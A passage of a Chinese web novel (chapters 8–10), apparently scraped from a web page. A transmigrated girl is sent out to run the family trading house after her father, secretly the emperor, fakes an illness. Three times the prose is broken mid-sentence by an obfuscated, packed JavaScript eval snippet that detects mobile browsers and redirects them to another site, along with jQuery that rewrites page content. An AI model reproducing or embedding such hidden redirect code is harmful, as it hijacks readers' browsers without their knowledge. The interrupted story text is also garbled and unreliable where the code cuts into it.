光忆星的世界向来是安静的,所有人都有计划好的行径,有条不紊,而这里却是热闹、杂乱的。 就像她之前习惯从智脑那里获取自己每日的行程和任务,这里是没有这种东西的,一切都有可能发生。 不同食物的香气、皂角的香气、植物的香气、琳琅满目的色泽、口腔里的味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815816|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、人声、器物声、情绪场的颗粒声……辛圭努力分辨得好累,但又从未觉得有这么“满”。 【新世界感官记录007:“满”是一种状态。大概是所有地方都被塞上了东西,但又不算坏。】 “对了。”福伯突然开口说道:“老爷应该这几日就回来了,你们都准备准备。” “还用你说?”张妈回道:“咱们府上可是上上下下都随时准备着迎接老爷呢。老爷再出门,用着姑娘招的人,也得夸咱们姑娘。” 福伯吞了下口水,把话咽了回去——是啊,姑娘是能担事儿了,但再出门的那个可不是老爷,而是她自己啊。 午饭过后,辛圭钻回自己的房间,她把窗户开了条缝,让院子里的热风和树影进来。 她怕自己到时候忘了,所以趁着记得还清楚的时候把它们都写下来,方便父亲回来选择。当然,这即是给父亲的,也是给自己的。 纸张铺开,笔蘸上墨,她在最上方写了几个字:【成记行长随测试结果报告v1.0】。 先打个草稿,真要写给父亲的那一份,就不能出现这些这个世界看起来稀奇古怪的东西。 她写字的时候很认真,虽然像是在完成光忆星的某种日常任务,但因为真实的在用笔写,好像又有哪里不太一样。 墨会在纸上晕开,手腕会酸,纸边会被风吹得轻轻动一下,这些都不是智脑里会出现的。 她又拿出从福伯那里要来的小册子,展开,在上面写道:“今天天气很好,很平稳。” 划掉。怎么一提笔就是这样的句子。 辛圭正了正肩膀,怎么能算是平稳呢?发生的事情这么多:落水、装失忆、一屋子人围着她、去成记行、招长随,还有情绪场…… 原本在光忆星,她只要在日记上“无事发生”的框框里打个勾就行了,可如今要写些什么呢? 她看向窗外,那棵歪脖子柿子树探了半个枝子到院中。树上挂了几颗柿子,摇来晃去,像是在说:“你自己看着办。” 最后,辛圭慢慢写道:“我今天到底是什么感觉?” 她用红笔在上面画了个圈,就好像账本上用红笔划出来的“拖欠款项”。 放下笔,她的手指轻轻摁在那团红圈上。 “我今天到底是什么感觉?” 像是被很多只手推着往前走,有点累,有点晕,又有一点、很小很小的期待。 她没有立刻写下这些,只是留了一个空白。 空白也没什么不好。 在光忆星,空白是不被允许的,而在这里,空白也行,是为以后要学会的东西预留的位置。 8. 第 8 章 戌时刚到,李府门口的巷子口就热闹了起来。 马蹄踏碎夜色,车轮碾着青石砖,辘辘而来。 家仆将门外的灯笼全部点亮,仿佛要把整个巷子照成白昼,月光相较之下都黯然失色,躲到云层后面生自己的闷气。 “老爷回来啦!!!” 张妈站在阶下,抖着手整理辛圭的衣襟:“这也太快了,不是说明早才到吗?” 成记行的吴掌柜也得了消息,带着几个人急匆匆地朝这边赶,温麟趾和方启星跟在最后。 方启星一边跑一边对着温麟趾说:“人家又没叫你,你赶着跟上去干嘛?” 温麟趾看也不看他,冷声说道:“也没叫你。” 方启星一个箭步挤到温麟趾前面:“你这人看着老实,心眼可不少,是想给李老爷一个好印象吧。” 温麟趾懒得回他。 那是当今圣上德明帝,他在,自己就必须去请安。 辛圭的耳边开始出现“嗡”的轻响,随着马车的声音越来越近,这轻响迅速堆叠变为潮水,从远处袭来,带着重量和压迫,猛烈地拍打着石滩。 那是一种异常强烈的情绪场,她下意识捏紧衣袖。 【情绪场记录·样本006 对象:李老爷 形态:潮水,厚重。 备注:尚未接近就能感知,意思与“我”高度相关。】 马车在门口停下,车轮上印满了长期赶路留下的泥。帘子被人由内掀开,一只修长但略显疲惫的手先伸出来,被福伯稳稳接住。 德明帝,不,此刻是李老爷,下了马车。 “老爷,怎么脸色这么苍白?”福伯略有些夸张地大声问道,生怕有人听不清。 “咳咳咳。”在一阵急促的咳嗽声后,李老爷捂着自己的额顶,气若游丝地说道:“这趟路可真折腾人。” 他在人群中转了一圈,目光最后落在了辛圭身上。张妈推了辛圭一把,她往前几步,李老爷拉住她的手,上下端详。 他从未见过李成圭这个样子。 过往的记忆中,李成圭性子沉闷,还总是爱置气不说话。可眼前的这个孩子眼睛睁得大大的,像是一只突然被放到新森林的迷茫小鹿。 大概,确实是好久没见了吧。李老爷这么想。 他低声说:“瘦了,脸也尖了。” 潮水近了,压得更实了一些。 福伯一听,连忙把昨晚的事添油加醋地汇报了一遍。 “是什么人?好大的胆子!竟敢算计到成记行头上!”尽管提前就知道了,但李老爷仍假模假样装作震怒,眉头皱得紧紧,又问辛圭:“现在身子怎么样?” 辛圭抿了下唇,小声唤道:“父亲。我挺好的,就是昨晚有些吓到了。” 这一声父亲说出口的时候,她自己也愣了一瞬,毕竟这个称呼是这个世界塞给她的。 李老爷又咳了几声,这次他掏出手帕捂在唇边。咳完之后,又不经意地将内侧露在外面。 福伯会意,惊呼道:“老爷,你咳血了!” 人群一阵骚动。 李老爷摆了摆手,示意他稍安勿躁,又叫了吴掌柜到身边,询问近日生意。 他的目光落在吴掌柜身后的温麟趾身上:“这个人面生。” 吴掌柜一转头,这才意识到新招的那两个小子不知怎么的,也跟了过来。他瞪了温麟趾和方启星一眼,转头对李老爷笑道:“还没来得及和老爷汇报,这是小姐依老爷的意思,招的长随。” “哦?”李老爷看向辛圭:“眼光不错,这小伙子看上去就很能干。” 温麟趾:“谢皇……” 李老爷:! 温麟趾连忙补救:“皇天后土为证,我定然不负所望。” 方启星眼看着温子修这么用力的表现,心里不齿,但自己也急不可耐地举手跳了两下,试图把存在感抢回来:“还有我!” “哦?”李老爷看向他。 辛圭连忙将自己刚写好的两人面试时的内容记录递给父亲,像交作业一样:“因为这两个人都很好,各有各自的优点,所以我擅自做主,都留下来了。” 李老爷看了温麟趾一眼,又看向方启星,再看看自己手中这份“奏折”,笑道:“此事我是交给成圭的,既然成圭说好,那就都留下。年末将至,各路都需清点打算,多些人手也好。这次我住不了多久,怕是很快又要走。” 福伯听到关键词,明白轮到自己,连忙在旁说道:“老爷,您又要走?您方才都咳血了!可再经不起长途跋涉!” 李老爷摆了摆手:“不必多言。”他转头看向辛圭:“我们成圭的嫁妆我还要多攒一攒呢。若是以后不想嫁人,有个家底也是好的。咱们之前也是吃过苦的,那样的日子,我可不愿意我的成圭再……” 他话没说完,身子就软绵绵地瘫了下去。福伯眼疾手快,一把托住李老爷,大喊道:“快叫大夫!” 李老爷被抬进卧房,大夫也很快赶来,辛圭等人在门口等候。 屋内很静,院子也很静。没有风,只有炙烤的太阳在旁观。 张妈拉住辛圭的手:“没事的,老爷吉人自有天相,姑娘别担心。” 尘土又扬起来了。 辛圭想了想,反握张妈的手,认真的“嗯”了一声。 不多时,福伯送大夫走出屋门,介绍道:“这是我们家小姐,大夫,老爷情况如何?” 大夫先是摇头,之后又重重地叹了口气,神情凝重:“李老爷他年轻的时候就有病根,到了这个年纪,就应该在府里好好养着。可他硬撑了多年奔波,加之积劳殚精,这次万万不可轻视,只能静养。” 福伯踌躇道:“可眼见着年关将至,各地的生意总要人过问,老爷原本过几日又要走。” “再走远路,怕是凶险。”大夫一言落地。 “当。”辛圭听到大夫那里传来奇怪的声音,好像是某种金属碰撞。 她忍不住在心里记下: 【情绪场记录·样本007(大夫) 声音:金属敲击感。 推测情绪:为难/犹豫? 备注:来源不明,需后续观察。】 见众人面色不安,大夫又问:“府中,可还有能顶事的子嗣?” 众人面面相觑,谁都知道,除了李成圭这个女儿,李老爷再无亲人。 可这个女儿还不谙世事,平日里也并不过问成记行的事,谁敢让她挑大梁? 大夫见状心下了然,便不再提,只是将药方递给福伯,留下一句话:“你们也得掂量掂量,究竟是银子重要,还是人命重要。” 走到李府大门外,大夫停下脚步,掂了掂袖囊里的那块金子,金子碰撞,发出“当”的声响。 大夫抻了抻脖子——理解理解,为了孩子的成长,父母煞费苦心装病也是常事儿。而自己呢,临场配合演戏,也是为了自家孩子的将来。 “成圭。”大夫走后没多久,屋内便传来李老爷沙哑的声音,伴随着咳嗽,听得大伙儿心头一阵一阵的紧。 辛圭乖乖进屋,李老爷半坐起身靠在床头。他已经醒了,但脸色却更显苍白。 “别站着,自己搬把凳子坐。” 辛圭依言坐到床旁,双手规规矩矩放在膝头。 李老爷缓了口气,说道:“成圭,你要帮爹做一件大事。” 他顿了顿,像是在等对方做好准备:“我要把成记行交给你。” 辛圭瞪大眼睛,连忙摆手:“啊?我?我可能不行。” 她才刚到这个世界,连账本都看不懂,更别提经商。 一瞬间,她突然有点想光忆星。 那儿什么都有流程、有提示、有建议、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815817|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有路线,只要按照要求做,就永远不会犯错,最多被系统打个“待优化”。 而这里什么都没有。只有一张床,一个看起来很虚弱的父亲,一条突然砸下来的任务线。 【新世界任务记录·临时条目 任务名称:接管成记行 来源:父亲 备注:无明确操作指南,成功率无法预估。】 李老爷看出她的慌乱,眼神仍是温柔,却夹着不容退让的力量:“我不是在问你的意见,而是这事儿必须如此。” 如此斩钉截铁的语气,如此不容辩驳的句式,使辛圭不由得想起智脑。 智脑会问你需不需要播放舒缓心情的音乐时,你可以拒绝,因为这无伤大雅。但它也会提出确定的要求,那时你便不能拒绝。 这句话,明显属于后者。 看着自家女儿还显稚嫩的脸庞,李老爷的语气又软了下来:“其实按照这些年经营的情况,就算是关闭成记行也足够咱俩吃穿用度了,可你知道为什么它必须要维持下去吗?” 辛圭摇了摇头。 “因为成记行养活的不仅是咱们李府。你也去过成记行,见过里面的伙计、账房、掌柜,他们都靠着在成记行做工养家糊口,还有成记行在其他地方的生意,更不要提张妈、春茶、菊姨和府里的仆人们了。” 潮水涨起,李老爷的情绪场像是深海一般涌来,而这股情绪场不再是朝她一个人压来,而是裹着整个宅子、整个商行、甚至还有那些她还没见过的地方。 在这样的“潮水”当中,辛圭莫名想起了阿钱的女儿,如果阿钱没有成记行的工作,他是不是就不能给她再买糖了? 李老爷拍了拍她的手,说道:“你此刻不理解也没关系,但你且将为父的话记着。我想以后总有一天,你会理解的。” 辛圭想起今天自己面对日记本时的思绪。在光忆星,所有的任务都有提示有模板也有路径——【稳定人格维护计划·今日任务:完成三条正向叙事,复盘一条负向思维】。 而这里没有。 这里的任务是突然落下来的,没有预兆,也不稳定,甚至连标题都得她自己去写! 她突然升起一种奇怪的冲动,就像今天决定招两名长随时一样。 ——我想试试。我想试试如果在光忆星规定的框框外,会发生什么。 “我……试试。”因此,辛圭再没有任何多余的反抗,她应了下来。 李老爷怔了一下,他原以为李成圭会哭着闹着说找别人去,自己都打好了一肚子的底稿,甚至连“父亲也有难处”的说辞都排练过了。 可没想到,她的反抗竟然如此微弱。 微弱到甚至不能说有反抗过。 但这样最好,因为一切已经安排好了,并不会因为她的情绪而改变什么。 李老爷递给辛圭一个包袱:“这里面是需要的账册、地图、官路的通行文书。还有一个锦囊,里面是爹为你在定福寺求的护符,不管什么时候都要贴身收好,能保你顺顺利利平平安安。” 虽说此刻是在上演一出“病重托店”的戏,但李老爷想到李成圭原本应当是被捧在掌心的公主殿下,却因为一纸批命被养在宫外。从小到大,大多数时间都是独自待在府中,如今又因为这纸批命要让她出门游历,难免觉得亏欠。 但千言万语千头万绪,化到嘴边只剩下一句话:“成圭,辛苦你了。” 潮水在这一刻安静下来,退回到更深的地方,变成一圈温柔的回流。 辛圭捧着包裹,有些手足无措,思忖片刻后,将张妈的那句话略微修改,对着李老爷说:“没事的,我吉人自有天相,父亲别担心。” 【新世界任务记录·追加 任务状态:已接取。 备注:1.不知道会不会失败。2.但我想试试,“试试”会带来什么。】 9. 第 9 章 李老爷原定再次出行的日期很近,仅有三日,如今这一病换成李成圭出门,全府上下立刻乱成了一锅粥,只不过乱得热热闹闹沸沸扬扬。 张妈抹着眼泪张罗,情绪场鼓噪得像山崩了: “锅要带着,万一路上来不及赶到驿站,饿肚子怎么办?” “盆也带着,自己的东西用起来干净。” “那个要一起出行的温子修呢?你过来,我和你仔细交代交代。咱们小姐喝的水要烧开三遍!三遍!” 春茶慌慌张张,情绪场像风里凌乱的树叶: “咱们出去几辆马车?一辆吗?那我准备的这二十套换洗衣服塞在哪里?” “虽然快入冬了,但天气热,万一有蚊虫,还是把蚊帐凉席也一并带上。” “我也要跟着!我很重要,我要给小姐梳头呢!万一小姐找不着东西。” 李府的仆人们也纷纷凑热闹: “小姐路上要带吃的吗?我家有腌肉!” “我妈腌的咸菜可好吃了,还好保存。” “带点辣椒粉,小姐喜欢吃辣。” 一个人的情绪场像是一粒雀跃的沙粒,很多人在一起,李府就好像形成了一个巨大的情绪场,变成了一片沙海。 辛圭身处其中,像是一只被浪涛卷动的小纸船。 沙子不会浸湿小纸船,摩挲之中,会像抓痒痒似的,轻轻挠动小纸船的心。 【新世界感官记录011: 现象:多人情绪叠加 形态:沙海 备注:会被埋住,但不算窒息。】 眼见着东西越来越多,李老爷最后拍板,两辆马车出行。随行人员除了车夫之外,还有成记行的一名掌柜和温子修。 温子修能去,自己却不行,方启星极其不舒坦。 他先是去找吴掌柜,后去找张妈,最后堵在李老爷房门口,软磨硬泡,拍胸脯表示自己也有用处,甚至搬出“是成圭小姐招的我,对我有知遇之恩”这种听上去十分荒唐又意外真诚的理由。 李老爷被缠磨的有些无奈,但想起女儿之前所写明的他的优点——会看账本、会说话、会主动示好——加之方启星的性子相较温麟趾热闹些,也多些少年气,若能跟着,这一路上多少也有些乐趣,最终也同意了。 众人的热闹归众人,辛圭则跑到成记行跟着吴掌柜恶补。 看不懂账本,就一个词一个词的问;不知道路线,就跟着画图;不了解货物,就去库房亲手摸。 她没有基础,出行又紧迫,只能靠时间来弥补。夜深仍打着哈欠翻看账本,一杯一杯浓茶灌下去。 【新世界学习记录001: 科目:基础经商知识俗称。 方式:暴力填鸭。 副作用:困。】 方启星睡得晚,习惯在院里溜达一圈才回访。见成记行楼上灯火还亮着,以为是忘记熄灯,走进了才发现窗后有人影,他顺着光走过去,推开门—— 辛圭正坐在桌前,头发有一缕时不时垂下来,又被她别到耳后。 吴掌柜已经靠在软椅上睡着了,鼾声轻微。 方启星便安静坐在一旁,仔细观察辛圭。 和陆居平所说的成记行小姐不一样,那天第一眼看到就感觉不一样,如今更不一样。 若是按照陆居平所说的倒没什么,可如今这个样子,他倒真的有些不忍心。 辛圭察觉到他进来,有些不好意思地说:“吴叔累了。” 方启星走进来,在她旁边坐下:“没事儿,我陪着你。” “我学的太慢了。”辛圭有些自责,她感觉自己的脑袋没有在光忆星的时候好用了,很多东西都要重复好几次,她才能记清楚。 就连这个她都已经记下来了—— 【稳定人格·自我评估条目: 指标:学习速度 旧结论:尚可。 新结论:大幅度下降。 疑问:是环境变化导致,还是我脱离了系统之后,展示出了自己的本来能力——就是这么慢?】 方启星笑得很温暖,也可能是因为桌上的烛火本身就很温暖,他走到她身旁,俯下身子:“你已经很好了。我第一次看账本的时候,可是把存货跌价看成跌倒的货。” 他的声音很轻,吹进辛圭的耳中,痒痒的。 第一次感受到被“专门”鼓励,辛圭脸微微泛红。她看了一眼睡在一旁的吴掌柜,心里自动补充了一条记录: 【人际行为记录·样本005 对象:方启星 行为:压低声音、靠近说话、避免吵醒旁人。 推测:细心。】 即便如此努力,辛圭仍觉不够,又找了些相关的书想随程带着,可马车的容量毕竟有限,更不提张妈和春茶甚至想把李府都整个塞进去。 辛圭抱着书站在车前踌躇,她想了想,伸手去够摞在最上面的箱子。一用力,没想到纹丝不动,比自己预想中沉出许多。 温麟趾走上前,接过她怀里的书,又默默地把马车里的东西搬出来,一件件规整。 “你以前当过兵行过军啊?”方启星路过,见状咋舌。 温麟趾正将最后一包东西放上马车,轻描淡写:“见过。” 辛圭眼看着只是一会儿,马车后面原本塞得满满当当乱七八糟的东西就像被施了魔法,整齐有序,甚至空出了新的空间,还能再塞些东西。 “厉害。”她肯定对方,也顺便肯定自己:“我眼光真好。” “多谢姑娘。”温麟趾拱手而立。 【长随测试记录·温子修补充: 标签:有条理,有整理能力。 备注:适合负责收拾混乱。】 方启星啧啧:“姑娘夸你呢,你别总摆出一副死人脸,好像我们欠你货款似的。” “做事情不靠嘴。”温麟趾给辛圭行了个礼:“姑娘要是没别的事,我先去看马了。” 当天夜里,辛圭在成记行自己的那张桌子上看到一包糖,上面还贴了一张纸条“困了吃”。 好像是给自己准备的。 她捻出一颗放进嘴里,砸了砸,糖有青草味道,还混着些许茶香,提神醒脑,味道也好。 “吴叔,这是你放的吗?”辛圭问道。 吴掌柜回头看了一眼:“不是,不知道谁放在那儿的,估计是哪个看见小姐熬夜,明天我问问。” “不用。”辛圭拿起那张纸条,再次揣进自己随身的小口袋里,她觉得自己知道是谁。 【新世界好人好事记录:001 事件:有人悄悄放了“困了吃”的糖。 对象:未知(推测:方启星) 备注:糖有提神功能,被关心的感觉也有提神功能。】 准备的日子虽然劳累,但因为是自己点头接下的人物,辛圭非但没有觉得疲惫,反而愈加精神奕奕,愈加跃跃欲试。 这几日李老爷的身体并没有好转,但仍然坚持将辛圭叫来,说是要给她上“商道第一课”。 李老爷仔细讲了账目、人脉、商路和名声,教她如何辨识一个商行的命脉,这些是在账本里学不到的。之前辛圭听吴掌柜提过几次,但讲解的没有李老爷这般有逻辑,好像仔细备过课似的。不愧是成记行的老板,辛圭在心里竖起大拇指。 【商道课程记录·第一课 授课人:父亲 重点:1.能挣钱不算本事,能活下去才是本事。2.一家行,一条路,很多张嘴。】 李老爷见她端着小本子全程仔细记录,不时点点头,很是受用,心想不枉费他提前做了准备。在看见她奋笔疾书时,顿觉这法子好,要不要推行至上朝呢?把臣子们的笏板统一改成小本子? 辛圭本职就是学生,但在光忆星的课堂上大家是按照排序轮流提问的,如今没有这样的顺序,让她一时有些犹豫。 但下一个瞬间,她想到,这个课堂只有自己一个人啊!不管是1号还是50号都是自己,于是主动提问:“那如果遇到不讲理的人怎么办?万一他们不按照商行的规矩来呢?” 恰好此时温麟趾来了,他轻敲门扉,说道:“老爷,吴掌柜让我来请小姐。” 李老爷看了辛圭一眼,意有所指:“那就要看你身边的人能护你到什么程度了。” 辛圭眨眨眼睛:“只有这一个法子吗?那要是身边没人呢?” 李老爷笑着摸了摸她的脑袋:“我的好成圭啊,倘若真的有那个时候,你就得问问自己,是不是做错了什么,使自己成为了孤家寡人。好了,快去吧,别让吴掌柜等太久。” 温麟趾闻言,心剧烈地跳动着:孤家寡人。德明帝最后的结局,不正是如此吗? 出行前的最后的一个下午,辛圭在温麟趾的陪同下,抽空去了趟天运河边。她已经分不清自己当初掉落在哪片区域,也不记得是哪一簇芦苇的花序曾安慰过她。一切看起来都是茫茫的,也许白日和夜晚能看到的景致是不同的吧。 温麟趾知道她那晚落水,但却不明白为何她临走前还要来看一眼,只是一声不吭地陪着。 辛圭沿着记忆里那条路,从河边走到阿钱家,原来路上有这么多东西:谁家的鸭子、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815818|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被烤得蔫蔫儿小草、几棵外形不一样的树、人们打水踩出来的土路,但她当时都没有注意到。 “姐姐!姐姐!”阿钱家里传来奶声奶气的喊声,女娃娃远远冲她打着招呼。 辛圭快走两步迎上去,将她抱了起来:“糖吃了吗?” “吃了!谢谢姐姐!父亲回来还夸我啦,说我懂事。”女娃娃说着,嘴巴撅了起来:“但是娘亲又偷偷和我说不要我懂事,说懂事以后要吃亏的。” 辛圭试图感受彦彦的情绪场,她很可爱,是一颗小小圆圆粉粉的糖果,此时正在原地打转,把自己转的晕头转向。 辛圭:“我还不知道你叫什么名字呢。” “我叫彦彦。” 辛圭抱着彦彦往阿钱家走:“彦彦是一颗小糖果。一颗小糖果可以自己说了算。你可以今天做甜甜的小糖果,明天做苦苦的小糖果,上午做辣辣的小糖果,下午做咸咸的小糖果。” 彦彦听了,笑得眼睛眯成了一条缝:“没有咸咸辣辣苦苦的小糖果!” “没有吗?”辛圭故作疑惑:“有的,我今天就吃过了。妈妈的意思是希望彦彦不要一直都做甜甜的小糖果。” “为什么不能一直做甜甜的小糖果?” “因为会被——吃掉!”辛圭装出大老虎的模样,“啊呜——” 彦彦笑得脸圆圆的,“那我今天先做贴心的小糖果。姐姐你还疼吗?” “不疼了。” “姐姐那天是哪里疼?是因为额头磕破了吗?姐姐哭得好厉害。” “嗯。”辛圭点头:“特别疼。” 其实,她当时根本没有感觉到额头在疼,她甚至不知道自己会自发的哭。但如果一定要找一处,那应该是心口,就像破了个大洞,她本能地想用眼泪去填满。 “姑娘怎么来了?”老奶奶迎来,又赶忙叫自家媳妇去倒杯水。 辛圭连忙推辞:“不用麻烦,我明天要替父亲去行商,走之前想来看看你们。” “姑娘还这么年轻,就能替父亲撑起家了!”老奶奶惊奇,又看向彦彦:“姐姐厉不厉害?” “厉害!”彦彦非常捧场。 辛圭摸摸鼻尖,不好意思地说:“还差很多呢。” “姑娘留着吃个饭吧,正好家里今天来客人了,多做了些东西。”媳妇端着两杯茶走过来,建议道。 “不了不了。”辛圭连忙摆手,“我就是来看看,还要回去继续准备呢。” 说完,她将彦彦放在地上,笑着挥挥手:“再见,等我回来再看看彦彦。” 辛圭转身要走,却发现温麟趾仍在身后,目光看向屋内。 刚才一瞬间,温麟趾觉得自己好像看见了陆居平。 想想应当是自己的错觉,陆居平此刻应当身处岭南,怎会来这千里迢迢之外的京城? 为求稳妥,他仍是问道:“家中来了客人?何处来的?” 老奶奶和媳妇互相看了一眼,完全不知道这个长随怎得突然有此一问。 老奶奶解释说:“是商州老家的亲戚,想来投奔阿钱,找份差事。” 辛圭用胳膊肘撞了温麟趾一下,低声提醒:“走啦。” “叨扰了。”温麟趾这才跟在辛圭后面离去。 辛圭走着走着,突然回头,又冲阿钱家挥了挥手:“彦彦!我会努力的!你爹一定可以给你买很多很多糖!” ## 直到出行那日清晨,辛圭又看了一夜账本,实在是太困了,便趴在成记行的桌面上打盹。她突然听见有人轻敲桌面,一下一下,节奏轻松,不疾不徐。 她迷迷糊糊睁开眼,看见方启星蹲在对面,正歪着头看她,那声音就是从他指尖敲出来的。 见她醒了,方启星笑道:“来接你了,要走咯。” 辛圭揉揉睡眼,坐起身来,她看见温子修侧身站在门口,冲自己微微点头。 马车已经在外等候,为了让她多睡一会儿,热腾腾的早点已被放入车厢。 张妈没有再三叮嘱,只是塞了块绣好的手帕给辛圭;春茶眼睛还有点肿,又给辛圭理了理鬓角;福伯搀扶着李老爷站在大门口;吴掌柜蹙着眉,但在辛圭看过来的时候,肯定的点了点头…… 情绪场从四面八方向她用来——碎石、尘土、柴火、潮水、星星、深潭……都挤在巷子口那一小块地方,既吵又闹,却又让辛圭觉得自己被实实在在地“放在了这里”,不是被扔出来的垃圾。 黎明的阳光清淡,照着人影好长好长,一路延伸到小巷的尽头,汇在了一起。 马车从上掠过,向着城外奔驰而去。 10. 第 10 章 京城地处北方,原本正应当是秋高气爽的时节,谁知酷暑过后,却迎来了愈发燥热的秋日。 连续多日未曾有雨,地里就像有团大火在烤,护城河水位下降,瓜果蔬菜一应干瘪。 德明帝念百姓之苦,为感化天意,决意开坛祈雨。 正午时分,烈日灼灼,朝臣的礼服都被汗浸湿了,却仍不见台上皇帝动作,终是有几个臣子憋不住了,在下面窃窃私语。 大理正离太史令近,微侧身子小声问道:“能行吗?” 自古天子祈求气候,需提前参考太史监的天象观测,主讲一个提前预知,不打没准备的仗。 太史令脚步虚浮,颤颤巍巍回道:“你自己看看天。” 大理正抬头,可谓是晴空万里,不见一丝云的影子。 太史令叹气:“岂止是今天、明天、后天,这一个月都未曾看到云雨的迹象。” “你没劝劝?”大理正仔细端详太史令,眼底发青嘴唇发白,显然是没怎么歇息好。 “我在殿外跪了一整夜,皇上根本不理我。”太史令想到自己一把年纪竟遭此大难,不由得悲从心来。 大理正又要说些什么,只见祭台之上,德明帝似乎有了动作。 德明帝歪着头,小声问向身边的内侍福秋:“成圭出行多久了?” 他早上送完李成圭,便紧赶慢赶回了宫中,对李府众人的借口则是自己要去山里佛庙静养。他不担心,反正剩下的事情由福伯来处理。 福秋回道:“公主殿下乃是寅时末出门的,如今约行有两百余里了。” “国师说成圭的火运会一直延绵三百里。”德明帝在心里盘算着时间。 “陛下放心。”福秋连忙说道:“已经同温麟趾说过,公主殿下所乘坐的马车会一路狂奔至三百里外的槐山渡,中途绝不耽搁。陛下此时祈雨,定能成功!” “好。”德明帝抖索精神,“开始吧!” 祈雨台上礼乐大作,德明帝手持祭词,一番操作下来大汗淋漓,午时方过。 未时已到,朝臣尚在跪拜,太史令已心如死灰,却见原本万里无云的天空骤然阴沉下来,伴有几声雷鸣。没过多久,京城三个月以来的第一场雨,以撼动天地之势,落入人间。 雨点砸在祈雨台上,砸在朝服上,砸在干裂许久的地面上。 太史令老泪纵横:“天佑我朝……天佑我朝啊……” 百姓山呼万岁,传为佳话。 只有祭台之上,那位“求雨得雨”的帝王在风雨交加中垂下眼,指尖轻轻摩挲过手中的玉圭。他抬头,望向暴雨席卷的天边,像是在看那条通往槐山渡的官道。 “成圭,”他在心里说,“你替为父,替这座城,做了你该做的事。” 雨声轰然,淹没了所有声音。 ———— 另一头早些时候,辛圭等人刚出京城没多久,太阳从山后露出一线灰白,远处隐约浮起一层干燥的土雾。 天气虽入秋,却热得像火烤。风送来的不是凉爽,而是躁动,像砂纸似的刮得人皮肤发疼。 相较之下,京城倒还好些,想来当时选址也是极有考究的。 马车从官道驶入一段丘陵地带,地面越发颠簸,车厢一跳一跳的,好像大地在有节律地喘气。 辛圭从未体验过这种感觉,她觉得好玩,掀开帘子伸出手去,试图抓一把风。 “风大,小心。”温麟趾出声提醒。 方启星却笑:“老妈子,就让她体验体验嘛!我小时候第一次出远门,激动地从车上跳下去跑了二里地呢!” 辛圭一听,有些跃跃欲试:“跳下车是什么感觉?” 方启星眼睛明亮:“像风把你整个提起来了!那感觉——” 他话还没说完,就听见温子修在旁冷飕飕的:“然后摔断了腿。” 方启星:“!你怎么什么都知道?!” 温麟趾:“意料当中。” 辛圭一听会摔断腿,鼓噪的心瞬间偃旗息鼓。 【新世界行为记录010: 项目:跳车 优点:体验风 缺点:断腿 结论:不合格】 马车一路向前,这颠却停不下来,再好玩也逐渐变成了折磨。辛圭被颠地七荤八素,她忍了很久,终于受不住,抓紧窗框:“这地方……是合格的吗?” “合格?”方启星在旁问:“什么叫合格?” “就是可以生存,不太舒服,但还能忍。”她皮肤本来就白,如今更像没血色,唇珠无意识地撅了起来,看着可怜巴巴的。 方启星被逗笑:“是啊,中原的秋天只是‘能忍’,还不如搬去我们淮南,风调雨顺,气候宜人。” “这马车这么颠,真的不会坏吗?”辛圭不无担忧地问道,她感觉自己都要被颠坏了。 “放心。”温麟趾说道:“商行的马车都是为了长途跋涉准备的,很结实。” “那就好……”辛圭摇头,探出脑袋问车夫:“咱们能不能休息一下,缓缓气儿。” 车夫回道:“小姐,咱们这才行了百余里,尚未到驿站。老爷交代了,这一路山贼众多,需得到槐山渡才能歇脚,只好委屈小姐再忍忍吧。” 辛圭听了,不禁在心里默默记录: 【新世界环境记录007: 项目:京郊山贼 结论:数量可观 疑问:当今圣上英明神武?存疑。】 又是一段剧烈的颠簸,辛圭左看看右看看,干脆靠到温子修身旁,抓住他的衣袖。她太用力太着急,那平整的袖口都被她抓得出现了皱褶。 温麟趾僵了一瞬,耳根有些发热。 辛圭感觉到他情绪场里的井面微微荡起了一层涟漪,好像活起来了一点。 她忍受着不适记录:【情绪场记录·样本004温子修 平时形态:深井 特殊状态:被抓袖子依靠—井面出现涟漪。 推测:部分肢体充血,有可能是感觉到了鼓舞。有待确认。】 方启星见状:“你们两个,是不是靠得太近了些?” 辛圭摆摆手,表示自己现在已经说不出话了。 温麟趾语调仍是淡淡的:“姑娘是为了稳当。” 辛圭点头,表示自己就是这个意思。 稳定,自己现在很需要稳定。 方启星:???我也很稳啊! 好在丘陵路段并非延绵不绝,马车又行了半个时辰,终于停止颠簸,沿着一条被晒得发白的河床前行。 辛圭这才缓了口气,刚才颠的她胃里嗓子里一阵难受,眼瞅着就要忍不住了。她在自己的词汇里搜索了一圈,找到了“呕吐”这个词,觉得非常适合现在的自己。 